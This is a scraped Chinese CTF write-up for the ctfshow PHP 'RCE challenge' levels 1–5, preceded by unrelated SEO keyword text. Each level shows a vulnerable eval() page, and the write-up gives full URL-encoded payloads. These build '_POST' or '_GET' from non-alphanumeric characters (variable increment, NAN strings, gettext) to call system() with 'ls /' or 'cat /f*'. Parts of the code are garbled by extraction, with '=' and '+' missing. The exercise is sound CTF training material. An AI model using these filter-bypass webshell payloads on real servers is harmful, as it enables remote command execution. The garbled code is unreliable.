免费做四年级题的网站,网站解析后,网站建设丶金手指下拉11,wordpress截取标题长度CTF特训(一)#xff1a;ctfshow-RCE挑战 FLAG#xff1a;可后来#xff0c;除了梦以外的地方#xff0c;我再也没有见过你 专研方向: 代码审计#xff0c;PHP 每日emo#xff1a;其实挺迷茫的#xff0c;不知道该干什么,(骗你的) RCE挑战1
?phperror_reporting(0)…CTF特训(一)ctfshow-RCE挑战 FLAG可后来除了梦以外的地方我再也没有见过你 专研方向: 代码审计PHP 每日emo其实挺迷茫的不知道该干什么,(骗你的) RCE挑战1
?phperror_reporting(0);
highlight_file(__FILE__);$code $_POST[code];$code str_replace((,括号,$code);$code str_replace(.,点,$code);eval($code);?代码分析 这段PHP代码主要做了以下几件事 error_reporting(0); 这行代码禁用了所有的PHP错误报告。这意味着如果在后面的代码中发生任何错误用户将不会看到任何错误消息。 highlight_file(FILE); 这行代码将当前文件的源代码高亮并输出。__FILE__是一个魔术常量它返回当前文件的完整路径和文件名。 c o d e code code_POST[‘code’]; 这行代码从POST请求中获取名为’code’的数据并将其存储在变量$code中。这可能允许用户提交代码该代码随后会被执行。 c o d e s t r r e p l a c e ( ( , 括号 , code str_replace((,括号, codestrreplace((,括号,code); 这行代码将所有出现的左括号(“替换为括号”。 c o d e s t r r e p l a c e ( . , 点 , code str_replace(.,点, codestrreplace(.,点,code); 这行代码将所有出现的点.“替换为点”。 eval($code); 这行代码执行了经过修改的$code变量中的PHP代码。eval()函数非可以执行任何PHP代码。 flag;过滤了括号不能使用system()利用反引号执行命令 echo输出
codeecho cat /f*;RCE挑战2
?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势太棒啦~。
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST[ctf_show])) {$ctfshow $_POST[ctf_show];if (is_string($ctfshow)) {if (!preg_match(/[a-zA-Z0-9#%^*:{}\-\?\|~\\\\]/,$ctfshow)){eval($ctfshow);}else{echo(Are you hacking me AGAIN?);}}else{phpinfo();}
}
?代码分析
?php
for ($i32;$i127;$i){if (!preg_match(/[a-zA-Z0-9#%^*:{}\-\?\|~\\\\]/,chr($i))){echo chr($i). ;}
}用脚本跑一下还可以用那些字符! $ ( ) , . / ; [ ] _
过滤了$ctfshow值中的所有数字和字母考虑变量自增 变量自增在这篇文章提到过从CTF中学习自增构造webshell flag1:
GET传参
$_[]._;$__$_[!];$__;$__;$__;$___$__;$__;$___$__.$___;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$___$___.$__;$__.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__]) 使用的时候url编码一下
POST: ctf_show%24_%3D%5B%5D._%3B%24__%3D%24_%5B!%3D%3D%3D%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D_.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B
GET:?_system__ls /
flag2
POST传参
ctf_show$_(_/_._);$_$_[!];$%ff%2b%2b$_;$%ff%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.%2b%2b$_;$%ff.%2b%2b$_;$__.$%ff;$$_[_]($$_[__]);_system__ls /
//相当于 $_POST[_](_POST[__])RCE挑战3
?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势太棒啦~。
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST[ctf_show])) {$ctfshow $_POST[ctf_show];if (is_string($ctfshow) strlen($ctfshow) 105) {if (!preg_match(/[a-zA-Z2-9!#%^*:{}\-\?\|~\\\\]/,$ctfshow)){eval($ctfshow);}else{echo(Are you hacking me AGAIN?);}}else{phpinfo();}
}
?代码分析
用脚本跑一下还可以用这些字符 $ ( ) , . / 0 1 ; [ ] _ 注意这里有字数限制可以用数字0或者1那么就可以通过(0/0)来构造float型的NAN(1/0)来构造float型的INF然后转换成字符串型得到NAN和INF中的字符了。 flag1
?php
$a(0/0);//NAN
$a._;//NAN_
$a$a[0];//N
$a;//O
$o$a;//$o$a是先把$a的值给$o,然后再对$a进行自增所以这一句结束的时候 $a是P$o是O
$p$a;//$aQ,$pP
$a;$a;//R
$s$a;//S
$t$a;//T
$__;//_
$_.$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);URL编码
#注意用burp时要把a换成不可见字符如%ff %fe等url编码中会被替换成空格所以要换成%2bctf_show$%ff(0/0);$%ff._;$%ff$%ff[0];$%ff%2b%2b;$%fd$%ff%2b%2b;$%fe$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc$%ff%2b%2b;$%fb$%ff;$__;$_.$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);0system1cat /f1agaaaflag2 用自增的方法
?php
$_([].[])[0];
//这里就是上面的数组拼接强制返回ArrayArray, 取第一个A
$_($_/$_.$_)[0];
//这里是关键php的计算上面有说其实这里麻烦了只是当时不知道, 这里返回 N
$_; //O
$__$_.$_;
//这里是进行了的所以$_等于P, $__PO, 其实这里才是第五题的关键嘿嘿很多74的就是卡在这
$_; // Q
$_; // R
$_; // S
$__.$__.$_.$_; //这里最后一个也是进行了的所以最后一位是T, $_ _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);url编码
$_([].[])[0];$_($_/$_.$_)[0];$_;$__$_.$_;$_;$_;$_;$__.$__.$_.$_;$$_[_]($$_[1]);ctf_show%24_%3D%28%5B%5D.%5B%5D%29%5B0%5D%3B%24_%3D%28%24_/%24_.%24_%29%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D%28%24%24_%5B1%5D%29%3B_system1lsRCE挑战4
?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势太棒啦~。
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST[ctf_show])) {$ctfshow $_POST[ctf_show];if (is_string($ctfshow) strlen($ctfshow) 84) {if (!preg_match(/[a-zA-Z1-9!#%^*:{}\-\?\|~\\\\]/,$ctfshow)){eval($ctfshow);}else{echo(Are you hacking me AGAIN?);}}else{phpinfo();}
}
?
代码分析 用脚本跑一下还可以用这些字符 $ ( ) , . / 0 ; [ ] _ 这道题有字数限制跟上一题相比字符限制很多少了1我们还是可以使用(0/0)来构造NAN
?php
$a(_/_._)[0];//直接拼接成字符串并切片
$o$a;//$o$a是先把$a进行自增自增完成之后再将值返回也就是这一句结束的时候 $a和$o都是O
$o$a.$o;//$oPO,$aP
$a;//Q
$a;//R
$o.$a;//$oPOS,$aS
$o.$a;//$oPOST,$aT
$__.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);注意用burp时要把a换成不可见字符如%ff %fe等url编码中会被替换成空格所以要换成%2b flag2
?php
$_((0/0).[])[0];
//这里是关键php的计算上面有说其实这里麻烦了只是当时不知道, 这里返回 N
$_; //O
$__$_.$_; // $__PO, 其实这里才是第五题的关键嘿嘿很多74的就是卡在这
$_; // Q
$_; // R
$_; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);ctf_show%24_%3D%28%280/0%29.%5B%5D%29%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D%28%24%24_%5B0%5D%29%3B_system0cat /f*RCE挑战5
?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势太棒啦~。
error_reporting(0);
highlight_file(__FILE__);if (isset($_POST[ctf_show])) {$ctfshow $_POST[ctf_show];if (is_string($ctfshow) strlen($ctfshow) 73) {if (!preg_match(/[a-zA-Z0-9!#%^*:{}\-\?\|~\\\\]/,$ctfshow)){eval($ctfshow);}else{echo(Are you hacking me AGAIN?);}}else{phpinfo();}
}
?代码分析 可以用 $ ( ) , . / ; [ ] _ 字符串限制为73了wp里说在phpinfo中多了个gettext()扩展插件这个插件使得我们可以用_()直接转为字符串 官方pyload
?php
$a_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_$a;//O
$__.$a.$_;//_PO
$a;$a;//R
$_.$a.$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])因为不可见字符的原因所以要用bp来做hackbar可能会和我一样出现 url malformed CLOSE用bp做的时候注意会被替换成空格所以要编码外还有用不可见字符替换过滤得字母为了使得字符数更短才用的其他直接post提交即可。
?php
for($a 0; $a 256; $a){if (!preg_match(/[a-zA-Z0-9#%^*:{}\-\?\|~\\\\]/,chr($a))){echo urlencode(chr($a)). ;}
}
?//%00 %01 %02 %03 %04 %05 %06 %07 %08 %09 %0A %0B %0C %0D %0E %0F %10 %11 %12 %13 %14 %15 %16 %17 %18 %19 %1A %1B %1C %1D %1E %1F %21 %24 %27 %28 %29 %2B %2C . %2F %3B %3D %5B %5D _ %7F %80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF*/常规的替换成不可见字符变量名称得到flag
ctf_show$%ff_(%ff/%ff)[%ff];$_%2b%2b$%ff;$__.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);_system%ffcat /f1agaaa